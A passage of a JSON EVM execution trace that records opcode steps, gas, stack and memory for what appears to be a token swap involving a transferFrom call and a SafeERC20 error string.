f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000100000000000000000000000000000000000000000000000000000000","000000020000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e00000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":15135,"op":"LT","gas":79314,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xc2c","0x100","0x324","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x0","0x2e96","0x1","0x2","0x0","0x1","0x2"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000384","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000100000000000000000000000000000000000000000000000000000000","000000020000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e00000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":15136,"op":"ISZERO","gas":79311,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xc2c","0x100","0x324","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x0","0x2e96","0x1","0x2","0x0","0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000384","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000100000000000000000000000000000000000000000000000000000000","000000020000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e00000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":15137,"op":"PUSH2","gas":79308,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xc2c","0x100","0x324","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x0","0x2e96","0x1","0x2","0x0","0x1"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000384","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000100000000000000000000000000000000000000000000000000000000","000000020000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e00000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":15140,"op":"JUMPI","gas":79305,"gasCost":10,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xc2c","0x100","0x324","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x0","0x2e96","0x1","0x2","0x0","0x1","0x3b2c"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000384","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000100000000000000000000000000000000000000000000000000000000","000000020000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e00000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":15148,"op":"JUMPDEST","gas":79295,"gasCost":1,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xc2c","0x100","0x324","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x0","0x2e96","0x1","0x2","0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000384","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000100000000000000000000000000000000000000000000000000000000","000000020000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e00000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":15149,"op":"POP","gas":79294,"gasCost":2,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xc2c","0x100","0x324","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x0","0x2e96","0x1","0x2","0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000384","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000100000000000000000000000000000000000000000000000000000000","000000020000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e00000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":15150,"op":"SUB","gas":79292,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xc2c","0x100","0x324","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x0","0x2e96","0x1","0x2"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000384","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000100000000000000000000000000000000000000000000000000000000","000000020000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e00000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":15151,"op":"SWAP1","gas":79289,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xc2c","0x100","0x324","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x0","0x2e96","0x1"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000384","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000100000000000000000000000000000000000000000000000000000000","000000020000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e00000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":15152,"op":"JUMP","gas":79286,"gasCost":8,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xc2c","0x100","0x324","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x0","0x1","0x2e96"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000384","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000100000000000000000000000000000000000000000000000000000000","000000020000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e00000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":11926,"op":"JUMPDEST","gas":79278,"gasCost":1,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xc2c","0x100","0x324","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x0","0x1"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000384","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000100000000000000000000000000000000000000000000000000000000","000000020000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e00000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":11927,"op":"DUP2","gas":79277,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xc2c","0x100","0x324","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x0","0x1"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000384","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000100000000000000000000000000000000000000000000000000000000","000000020000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e00000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":11928,"op":"LT","gas":79274,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xc2c","0x100","0x324","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x0","0x1","0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000384","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000100000000000000000000000000000000000000000000000000000000","000000020000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e00000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":11929,"op":"ISZERO","gas":79271,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xc2c","0x100","0x324","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x0","0x1"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000384","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000100000000000000000000000000000000000000000000000000000000","000000020000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e00000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":11930,"op":"PUSH2","gas":79268,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xc2c","0x100","0x324","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x0","0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000384","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf40000000000000000000000000000